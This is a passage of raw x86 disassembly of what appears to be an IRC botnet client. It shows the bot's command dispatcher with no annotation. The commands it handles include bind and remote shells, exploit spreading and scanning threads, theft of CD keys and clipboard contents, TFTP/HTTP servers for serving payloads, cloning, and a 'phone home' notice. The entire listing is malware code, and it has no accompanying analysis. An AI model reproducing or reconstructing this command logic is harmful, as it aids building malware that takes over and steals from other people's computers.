mov [ebp+arg_10], eax
add eax, 5
push 4
push eax
lea eax, [ebp+var_A0]
push eax
call sub_417760
lea eax, [ebp+var_A0]
push offset asc_437EFE ; ")"
push eax
call sub_418AC0
add esp, 1Ch
cmp [ebp+var_A0], 30h
jl short loc_4029C2
cmp [ebp+var_A0], 39h
jle short loc_4029D8
loc_4029C2: ; CODE XREF: sub_401C87+D30j
push 3
lea eax, [ebp+var_A0]
push offset a63 ; "63"
push eax
call sub_417760
add esp, 0Ch
loc_4029D8: ; CODE XREF: sub_401C87+D39j
lea eax, [ebp+var_A0]
push eax
call sub_417960
test eax, eax
pop ecx
jle short loc_4029FB
lea eax, [ebp+var_A0]
push eax
call sub_417960
pop ecx
mov [ebp+var_14], al
jmp short loc_402A0C
; ---------------------------------------------------------------------------
loc_4029FB: ; CODE XREF: sub_401C87+D60j
call sub_417DC0
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+var_14], dl
loc_402A0C: ; CODE XREF: sub_401C87+D72j
lea eax, [ebp+var_A0]
mov [ebp+var_13], bl
push eax
call sub_414EC0
mov [ebp+arg_8], eax
push 0Ch
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_417700
mov eax, [ebp+arg_8]
add eax, 6
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_10]
push eax
call sub_417760
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_4118FD
push edi
push [ebp+arg_0]
call sub_417E00
add esp, 30h
loc_402A62: ; CODE XREF: sub_401C87+CEEj
test eax, eax
jnz loc_40297A
mov edi, 1FFh
lea eax, [ebp+var_2020]
push edi
push [ebp+arg_0]
push eax
call sub_417760
lea eax, [ebp+var_2020]
push edi
push eax
lea eax, [ebp+var_2420]
push eax
call sub_417760
lea eax, [ebp+var_2420]
push offset asc_437F04 ; " "
push eax
call sub_418AC0
xor edi, edi
add esp, 20h
mov [ebp+var_94], eax
inc edi
loc_402AB0: ; CODE XREF: sub_401C87+E41j
push 437F06h
push ebx
call sub_418AC0
mov [ebp+edi*4+var_94], eax
inc edi
pop ecx
cmp edi, 20h
pop ecx
jl short loc_402AB0
lea eax, [ebp+esi+var_94]
mov ecx, [eax]
cmp ecx, ebx
jz loc_40622C
add ecx, 3
mov [eax], ecx
loc_402AE0: ; CODE XREF: sub_401C87+C76j
mov edi, [ebp+esi+var_94]
push edi
push offset aRndnick_0 ; "rndnick"
mov [ebp+arg_20], edi
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4073EF
push edi
push offset aRn ; "rn"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4073EF
push edi
push offset aDie ; "die"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_40455C
push edi
push offset aD_1 ; "d"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_40455C
push edi
push offset aLogout ; "logout"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4044BE
push edi
push offset aLo ; "lo"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4044BE
push edi
push offset aVersion ; "version"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4044AF
push edi
push offset aVer ; "ver"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4044AF
push edi
push offset aDedication ; "dedication"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4044A5
push edi
push offset aDed ; "ded"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4044A5
push edi
push offset aSecure ; "secure"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4043A8
push edi
push offset aSec ; "sec"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4043A8
push edi
push offset aUnsecure ; "unsecure"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4043A8
push edi
push offset aUnsec ; "unsec"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4043A8
push edi
push offset aBindshell ; "bindshell"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4042A3
push edi
push offset aBd ; "bd"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4042A3
push edi
push offset aBindshellstop ; "bindshellstop"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_402C7A
push [ebp+esi+var_90]
push 6
push offset aServer_2 ; "Server"
push offset dword_437F8C
loc_402C5E: ; CODE XREF: sub_401C87+1017j
; sub_401C87+103Dj ...
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_4098EB
add esp, 20h
jmp loc_40622C
; ---------------------------------------------------------------------------
loc_402C7A: ; CODE XREF: sub_401C87+FC2j
push edi
push offset aRloginstop ; "rloginstop"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_402CA0
push [ebp+esi+var_90]
push 9
push offset aServer_3 ; "Server"
push offset dword_437FB4
jmp short loc_402C5E
; ---------------------------------------------------------------------------
loc_402CA0: ; CODE XREF: sub_401C87+1002j
push edi
push offset aHttpstop ; "httpstop"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_402CC6
push [ebp+esi+var_90]
push 3
push offset aServer_4 ; "Server"
push offset dword_437FD8
jmp short loc_402C5E
; ---------------------------------------------------------------------------
loc_402CC6: ; CODE XREF: sub_401C87+1028j
push edi
push offset aLogstop ; "logstop"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_402CEF
push [ebp+esi+var_90]
push 25h
push offset aLogList ; "Log list"
push offset dword_437FFC
jmp loc_402C5E
; ---------------------------------------------------------------------------
loc_402CEF: ; CODE XREF: sub_401C87+104Ej
push edi
push offset aRedirectstop ; "redirectstop"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_402D18
push [ebp+esi+var_90]
push 18h
push offset aTcpRedirect ; "TCP redirect"
push offset dword_438028
jmp loc_402C5E
; ---------------------------------------------------------------------------
loc_402D18: ; CODE XREF: sub_401C87+1077j
push edi
push offset dword_438038
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_402D41
push [ebp+esi+var_90]
push 0Dh
push offset dword_438044
push offset dword_438050
jmp loc_402C5E
; ---------------------------------------------------------------------------
loc_402D41: ; CODE XREF: sub_401C87+10A0j
push edi
push offset aTftpstop ; "tftpstop"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_402D6A
push [ebp+esi+var_90]
push 5
push offset aServer_5 ; "Server"
push offset dword_438070
jmp loc_402C5E
; ---------------------------------------------------------------------------
loc_402D6A: ; CODE XREF: sub_401C87+10C9j
push edi
push offset aFindfilestop ; "findfilestop"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_40428B
push edi
push offset aFfstop ; "ffstop"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_40428B
push edi
push offset aProcsstop ; "procsstop"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_404273
push edi
push offset aPsstop ; "psstop"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_404273
push edi
push offset aClonestop ; "clonestop"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_402DE7
push [ebp+esi+var_90]
push 1Fh
push offset aClone ; "Clone"
push offset dword_4380C0
jmp loc_402C5E
; ---------------------------------------------------------------------------
loc_402DE7: ; CODE XREF: sub_401C87+1146j
push edi
push offset aSecurestop ; "securestop"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_402E10
push [ebp+esi+var_90]
push 22h
push offset aSecure_1 ; "Secure"
push offset dword_4380E4
jmp loc_402C5E
; ---------------------------------------------------------------------------
loc_402E10: ; CODE XREF: sub_401C87+116Fj
push edi
push offset aScanstop ; "scanstop"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_402E39
push [ebp+esi+var_90]
push 0Bh
push offset aScan_2 ; "Scan"
push offset dword_438108
jmp loc_402C5E
; ---------------------------------------------------------------------------
loc_402E39: ; CODE XREF: sub_401C87+1198j
push edi
push offset aScanstats ; "scanstats"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_40425A
push edi
push offset aStats ; "stats"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_40425A
push edi
push offset aTransferstats ; "transferstats"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_404247
push edi
push offset aTrstats ; "trstats"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_404247
push edi
push offset aConnectbacksta ; "connectbackstats"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_404234
push edi
push offset aCbstats ; "cbstats"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_404234
push edi
push offset aExploitlist ; "exploitlist"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_404221
push edi
push offset aExplist ; "explist"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_404221
push edi
push offset aReconnect ; "reconnect"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_404202
push edi
push offset aR ; "r"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_404202
push edi
push offset aDisconnect ; "disconnect"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4041E0
push edi
push offset aDc ; "dc"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4041E0
push edi
push offset aQuit_0 ; "quit"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_404197
push edi
push offset aQ ; "q"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_404197
push edi
push offset aStatus ; "status"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_404159
push edi
push offset aS_0 ; "s"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_404159
push edi
push offset aId ; "id"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_404122
push edi
push offset aI ; "i"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_404122
push edi
push offset aReboot ; "reboot"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_403005
call sub_411DBC
test eax, eax
mov eax, offset unk_4381B0
jnz short loc_402FD7
mov eax, offset unk_4381D0
loc_402FD7: ; CODE XREF: sub_401C87+1349j
push eax
lea eax, [ebp+var_2C8]
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40764A
add esp, 1Ch
jmp loc_40259F
; ---------------------------------------------------------------------------
loc_403005: ; CODE XREF: sub_401C87+133Bj
push edi
push offset aThreads ; "threads"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_404044
push edi
push offset aT ; "t"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_404044
push edi
push offset aAliases ; "aliases"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_404021
push edi
push offset aAl ; "al"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_404021
push edi
push offset aLog ; "log"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_403F32
push edi
push offset aLg ; "lg"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_403F32
push edi
push offset aClearlog ; "clearlog"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_403F19
push edi
push offset aClg ; "clg"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_403F19
push edi
push offset aNetinfo ; "netinfo"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_403EDF
push edi
push offset aNi ; "ni"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_403EDF
push edi
push offset aSysinfo ; "sysinfo"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_403EB4
push edi
push offset aSi ; "si"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_403EB4
push edi
push offset aRemove ; "remove"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_403E7A
push edi
push offset aRm ; "rm"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_403E7A
push edi
push offset aProcs ; "procs"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_403D58
push edi
push offset aPs ; "ps"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_403D58
push edi
push offset aGetcdkeys ; "getcdkeys"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_403D2E
push edi
push offset aKey ; "key"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_403D2E
push edi
push offset aUptime ; "uptime"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_403CA7
push edi
push offset aUp ; "up"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_403CA7
push edi
push offset aDriveinfo ; "driveinfo"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_403C8A
push edi
push offset aDrv ; "drv"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_403C8A
push edi
push offset aTestdlls ; "testdlls"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_403C71
push edi
push offset aDll ; "dll"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_403C71
push edi
push offset aOpencmd ; "opencmd"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_403C32
push edi
push offset aOcmd ; "ocmd"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_403C32
push edi
push offset aCmdstop ; "cmdstop"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_403250
push [ebp+esi+var_90]
push 0Ah
push offset aRemoteShell ; "Remote shell"
push offset dword_4382BC
jmp loc_402C5E
; ---------------------------------------------------------------------------
loc_403250: ; CODE XREF: sub_401C87+15AFj
push edi
push offset dword_4382C8
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz loc_4033D6
cmp [ebp+var_8], ebx
jnz short loc_403284
push ebx
push [ebp+var_4]
push offset dword_4382CC
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40764A
add esp, 14h
loc_403284: ; CODE XREF: sub_401C87+15E1j
mov eax, [ebp+arg_18]
mov [ebp+arg_8], ebx
mov [ebp+arg_18], eax
jmp short loc_403292
; ---------------------------------------------------------------------------
loc_40328F: ; CODE XREF: sub_401C87+1657j
mov eax, [ebp+arg_18]
loc_403292: ; CODE XREF: sub_401C87+1606j
cmp [eax], bl
jz short loc_403299
inc eax
jmp short loc_40329E
; ---------------------------------------------------------------------------
loc_403299: ; CODE XREF: sub_401C87+160Dj
mov eax, offset dword_4382E0
loc_40329E: ; CODE XREF: sub_401C87+1610j
push eax
lea eax, [ebp+var_2C8]
push [ebp+arg_8]
push offset dword_4382E8
push eax
call sub_417CB0
push 1
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40764A
add [ebp+arg_18], 80h
add esp, 24h
inc [ebp+arg_8]
cmp [ebp+arg_8], 3
jl short loc_40328F
push offset unk_4382F0
call sub_40F927
pop ecx
loc_4032EB: ; CODE XREF: sub_401C87+18E2j
; sub_401C87+28E9j
mov eax, [ebp+esi+var_90]
cmp eax, ebx
mov [ebp+arg_10], eax
jz loc_40622C
push edi
push offset aExploit ; "exploit"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz loc_4045A8
mov eax, [ebp+var_4]
mov esi, offset aXp_0 ; "#xp"
mov [ebp+var_12F0], eax
mov eax, [ebp+var_8]
mov [ebp+var_12EC], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1300], eax
mov edi, 80h
push esi
lea eax, [ebp+var_1380]
push edi
push eax
mov [ebp+var_12F8], 1
call sub_417E80
push esi
lea eax, [ebp+var_1400]
push edi
push eax
call sub_417E80
push [ebp+arg_10]
lea eax, [ebp+var_1410]
push 10h
push eax
call sub_417E80
lea eax, [ebp+var_1410]
push eax
lea eax, [ebp+var_2C8]
push offset unk_43831C
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_2C8]
push 8
push eax
call sub_409663
add esp, 3Ch
mov [ebp+var_12F4], eax
lea eax, [ebp+arg_24]
push eax
lea eax, [ebp+var_1410]
push ebx
push eax
push offset sub_409DF2
push ebx
push ebx
call dword_4E0340 ; CreateThread
mov ecx, [ebp+var_12F4]
imul ecx, 234h
cmp eax, ebx
mov dword_4495B4[ecx], eax
jz loc_404597
jmp loc_40458A
; ---------------------------------------------------------------------------
loc_4033D6: ; CODE XREF: sub_401C87+15D8j
push edi
push offset aGetclip ; "getclip"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_403BF1
push edi
push offset aGc ; "gc"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_403BF1
push edi
push offset aFlusharp ; "flusharp"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_403BC6
push edi
push offset aFarp ; "farp"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_403BC6
push edi
push offset aFlushdns ; "flushdns"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_403B96
push edi
push offset aFdns ; "fdns"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_403B96
push edi
push offset aCurrentip ; "currentip"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_403B5C
push edi
push offset aCip ; "cip"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_403B5C
push edi
push offset aHttpserver ; "httpserver"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4039C2
push edi
push offset aHttp ; "http"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4039C2
push edi
push offset aTftpserver ; "tftpserver"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_403883
push edi
push offset aTftp ; "tftp"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_403883
push edi
push offset aCrash ; "crash"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_403538
lea eax, [ebp+var_2C8]
push offset dword_4383C0
push eax
call sub_417CB0
cmp [ebp+var_8], ebx
pop ecx
pop ecx
jnz short loc_403517
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40764A
add esp, 14h
loc_403517: ; CODE XREF: sub_401C87+1872j
lea eax, [ebp+var_2C8]
push eax
call sub_40F927
mov [esp+10h+var_10], offset aCrash_0 ; "crash"
push [ebp+esi+var_80]
call sub_418A30
jmp loc_402218
; ---------------------------------------------------------------------------
loc_403538: ; CODE XREF: sub_401C87+185Aj
push edi
push offset aScan ; "scan"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz short loc_403588
push edi
push offset aScan_0 ; "scan"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz short loc_403588
push edi
push offset aPhonehome ; "phonehome"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz loc_4032EB
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
push [ebp+arg_4]
call sub_407604
jmp loc_4020E7
; ---------------------------------------------------------------------------
loc_403588: ; CODE XREF: sub_401C87+18C0j
; sub_401C87+18D1j
mov al, byte_43F1CA
mov [ebp+arg_0], ebx
cmp al, bl
mov edx, offset byte_43F1CA
jz loc_40622C
mov ecx, edx
loc_40359F: ; CODE XREF: sub_401C87+1920j
inc [ebp+arg_0]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_40359F
cmp al, bl
jz loc_40622C
mov [ebp+arg_18], edx
mov esi, offset aXp_0 ; "#xp"
loc_4035B9: ; CODE XREF: sub_401C87+1BD8j
push 0Bh
call sub_4098A5
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+arg_0]
add eax, ecx
cmp eax, 1F4h
jle short loc_403608
push ecx
lea eax, [ebp+var_2C8]
push offset unk_438428
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40764A
add esp, 20h
jmp loc_403856
; ---------------------------------------------------------------------------
loc_403608: ; CODE XREF: sub_401C87+194Cj
or [ebp+var_6FC], 0FFFFFFFFh
cmp dword_43F068, ebx
mov [ebp+var_700], 64h
mov [ebp+var_714], 5
mov [ebp+var_710], 320h
mov [ebp+arg_0], ebx
jz short loc_403679
mov edi, offset dword_43F068
loc_40363D: ; CODE XREF: sub_401C87+19D4j
mov eax, [ebp+arg_18]
add eax, 0FFFFFFF6h
push eax
lea eax, [edi-28h]
push eax
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz short loc_40365F
inc [ebp+arg_0]
add edi, 40h
cmp [edi], ebx
jnz short loc_40363D
jmp short loc_403679
; ---------------------------------------------------------------------------
loc_40365F: ; CODE XREF: sub_401C87+19CAj
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_6FC], eax
shl ecx, 6
mov ecx, dword_43F068[ecx]
mov [ebp+var_718], ecx
loc_403679: ; CODE XREF: sub_401C87+19AFj
; sub_401C87+19D6j
cmp [ebp+var_718], ebx
jz loc_40387C
push 10h
lea eax, [ebp+arg_10]
pop edi
push eax
lea eax, [ebp+var_2E8]
push eax
mov [ebp+arg_10], edi
push [ebp+arg_4]
call dword_4D660C ; getsockname
mov al, [ebp+var_96B]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_2E4], eax
push [ebp+var_2E4]
call dword_4D66F4 ; inet_ntoa
push eax
lea eax, [ebp+var_82C]
push eax
call sub_417760
xor eax, eax
cmp [ebp+var_96B], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_82C]
push eax
call sub_418800
add esp, 14h
cmp edi, ebx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_40371B
loc_4036F9: ; CODE XREF: sub_401C87+1A92j
cmp eax, ebx
jz short loc_40371B
mov byte ptr [eax], 78h
lea eax, [ebp+var_82C]
push 30h
push eax
call sub_418800
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_4036F9
loc_40371B: ; CODE XREF: sub_401C87+1A70j
; sub_401C87+1A74j
mov eax, [ebp+arg_4]
push [ebp+var_8C]
mov [ebp+var_71C], eax
mov eax, [ebp+var_4]
mov [ebp+var_6F4], eax
mov eax, [ebp+var_8]
mov [ebp+var_6F0], eax
mov edi, 80h
lea eax, [ebp+var_81C]
push edi
push eax
mov [ebp+var_6EC], 1
call sub_417E80
push offset byte_4D651D
push esi
call sub_418A30
add esp, 14h
test eax, eax
jz short loc_40377D
push esi
lea eax, [ebp+var_79C]
push edi
push eax
call sub_417E80
add esp, 0Ch
jmp short loc_403783
; ---------------------------------------------------------------------------
loc_40377D: ; CODE XREF: sub_401C87+1AE1j
mov [ebp+var_79C], bl
loc_403783: ; CODE XREF: sub_401C87+1AF4j
cmp [ebp+var_6EC], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_403795
mov eax, offset aSequential ; "Sequential"
loc_403795: ; CODE XREF: sub_401C87+1B07j
push [ebp+var_700]
lea ecx, [ebp+var_82C]
push [ebp+var_710]
push [ebp+var_714]
push [ebp+var_718]
push ecx
push eax
lea eax, [ebp+var_2C8]
push offset unk_438480
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_2C8]
push 0Bh
push eax
call sub_409663
add esp, 2Ch
mov [ebp+var_70C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_82C]
push ebx
push eax
push offset sub_40AA63
push ebx
push ebx
call dword_4E0340 ; CreateThread
mov ecx, [ebp+var_70C]
imul ecx, 234h
cmp eax, ebx
mov dword_4495B4[ecx], eax
jnz short loc_403872
call dword_4E0350 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2C8]
push offset unk_4384EC
push eax
call sub_417CB0
add esp, 0Ch
loc_403828: ; CODE XREF: sub_401C87+1BF3j
cmp [ebp+var_8], ebx
jnz short loc_403849
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40764A
add esp, 14h
loc_403849: ; CODE XREF: sub_401C87+1BA4j
lea eax, [ebp+var_2C8]
push eax
call sub_40F927
pop ecx
loc_403856: ; CODE XREF: sub_401C87+197Cj
add [ebp+arg_18], 0Bh
mov eax, [ebp+arg_18]
cmp [eax], bl
jnz loc_4035B9
jmp loc_40622C
; ---------------------------------------------------------------------------
loc_40386A: ; CODE XREF: sub_401C87+1BF1j
push 32h
call dword_4E033C ; Sleep
loc_403872: ; CODE XREF: sub_401C87+1B84j
cmp [ebp+var_6E8], ebx
jz short loc_40386A
jmp short loc_403828
; ---------------------------------------------------------------------------
loc_40387C: ; CODE XREF: sub_401C87+19F8j
push offset unk_438528
jmp short loc_403894
; ---------------------------------------------------------------------------
loc_403883: ; CODE XREF: sub_401C87+1830j
; sub_401C87+1845j
push 5
call sub_4098A5
test eax, eax
pop ecx
jle short loc_4038A7
push offset unk_438560
loc_403894: ; CODE XREF: sub_401C87+1BFAj
; sub_401C87+2DB7j ...
lea eax, [ebp+var_2C8]
loc_40389A: ; CODE XREF: sub_401C87+2D26j
push eax
call sub_417CB0
pop ecx
pop ecx
jmp loc_40652F
; ---------------------------------------------------------------------------
loc_4038A7: ; CODE XREF: sub_401C87+1C06j
mov eax, [ebp+esi+var_90]
mov edi, 104h
cmp eax, ebx
jz short loc_4038CA
push eax
lea eax, [ebp+var_17B4]
push edi
push eax
call sub_417E80
add esp, 0Ch
jmp short loc_4038D9
; ---------------------------------------------------------------------------
loc_4038CA: ; CODE XREF: sub_401C87+1C2Ej
lea eax, [ebp+var_17B4]
push edi
push eax
push ebx
call dword_4E0334 ; GetModuleFileNameA
loc_4038D9: ; CODE XREF: sub_401C87+1C41j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jnz short loc_4038E9
mov esi, offset byte_4370EC
loc_4038E9: ; CODE XREF: sub_401C87+1C5Bj
push esi
lea eax, [ebp+var_16B0]
push edi
push eax
call sub_417E80
mov eax, dword_43707C
push 7Fh
push [ebp+var_8C]
mov [ebp+var_15A4], eax
mov eax, [ebp+arg_4]
mov [ebp+var_15A8], ebx
mov [ebp+var_17B8], eax
lea eax, [ebp+var_15A0]
push eax
call sub_417760
mov eax, [ebp+var_4]
mov [ebp+var_1520], eax
mov eax, [ebp+var_8]
mov [ebp+var_151C], eax
lea eax, [ebp+var_17B4]
push eax
lea eax, [ebp+var_2C8]
push [ebp+var_15A4]
push offset unk_438580
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_2C8]
push 5
push eax
call sub_409663
add esp, 34h
mov [ebp+var_15AC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_17B8]
push ebx
push eax
push offset sub_40F3B8
push ebx
push ebx
call dword_4E0340 ; CreateThread
mov ecx, [ebp+var_15AC]
imul ecx, 234h
cmp eax, ebx
mov dword_4495B4[ecx], eax
jnz short loc_4039B5
call dword_4E0350 ; RtlGetLastWin32Error
push eax
push offset unk_4385B4
jmp loc_406520
; ---------------------------------------------------------------------------
loc_4039AD: ; CODE XREF: sub_401C87+1D34j
push 32h
call dword_4E033C ; Sleep
loc_4039B5: ; CODE XREF: sub_401C87+1D13j
cmp [ebp+var_1518], ebx
jz short loc_4039AD
jmp loc_40652F
; ---------------------------------------------------------------------------
loc_4039C2: ; CODE XREF: sub_401C87+1806j
; sub_401C87+181Bj
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz short loc_4039E1
push edi
call sub_417960
test eax, eax
pop ecx
jz short loc_4039E1
push edi
call sub_417960
pop ecx
jmp short loc_4039E6
; ---------------------------------------------------------------------------
loc_4039E1: ; CODE XREF: sub_401C87+1D44j
; sub_401C87+1D4Fj
mov eax, dword_437080
loc_4039E6: ; CODE XREF: sub_401C87+1D58j
mov esi, [ebp+esi+var_8C]
mov [ebp+var_193C], eax
xor eax, eax
cmp [ebp+var_968], bl
setz al
cmp esi, ebx
mov [ebp+var_1928], eax
jz short loc_403A19
lea eax, [ebp+var_1A40]
push esi
push eax
call sub_417CB0
pop ecx
pop ecx
jmp short loc_403A44
; ---------------------------------------------------------------------------
loc_403A19: ; CODE XREF: sub_401C87+1D7Fj
lea eax, [ebp+var_AD0]
push 104h
push eax
call dword_4E0338 ; GetSystemDirectoryA
push ebx
push ebx
lea eax, [ebp+var_2E4]
push ebx
push eax
lea eax, [ebp+var_AD0]
push eax
call sub_417F80
add esp, 14h
loc_403A44: ; CODE XREF: sub_401C87+1D90j
lea eax, [ebp+var_1A40]
push eax
call sub_414EC0
cmp [ebp+eax+var_1A41], 5Ch
pop ecx
jnz short loc_403A6F
lea eax, [ebp+var_1A40]
push eax
call sub_414EC0
pop ecx
mov [ebp+eax+var_1A41], bl
loc_403A6F: ; CODE XREF: sub_401C87+1DD2j
push [ebp+var_8C]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_1CC8]
mov [ebp+var_1CCC], esi
push 80h
push eax
call sub_417E80
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_192C], eax
lea eax, [ebp+var_1A40]
mov [ebp+var_1930], edi
push eax
push [ebp+var_193C]
push esi
call sub_408882
pop ecx
push eax
lea eax, [ebp+var_2C8]
push offset unk_4385F0
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_2C8]
push 3
push eax
call sub_409663
add esp, 20h
mov [ebp+var_1934], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1CCC]
push ebx
push eax
push offset sub_40D826
push ebx
push ebx
call dword_4E0340 ; CreateThread
mov ecx, [ebp+var_1934]
imul ecx, 234h
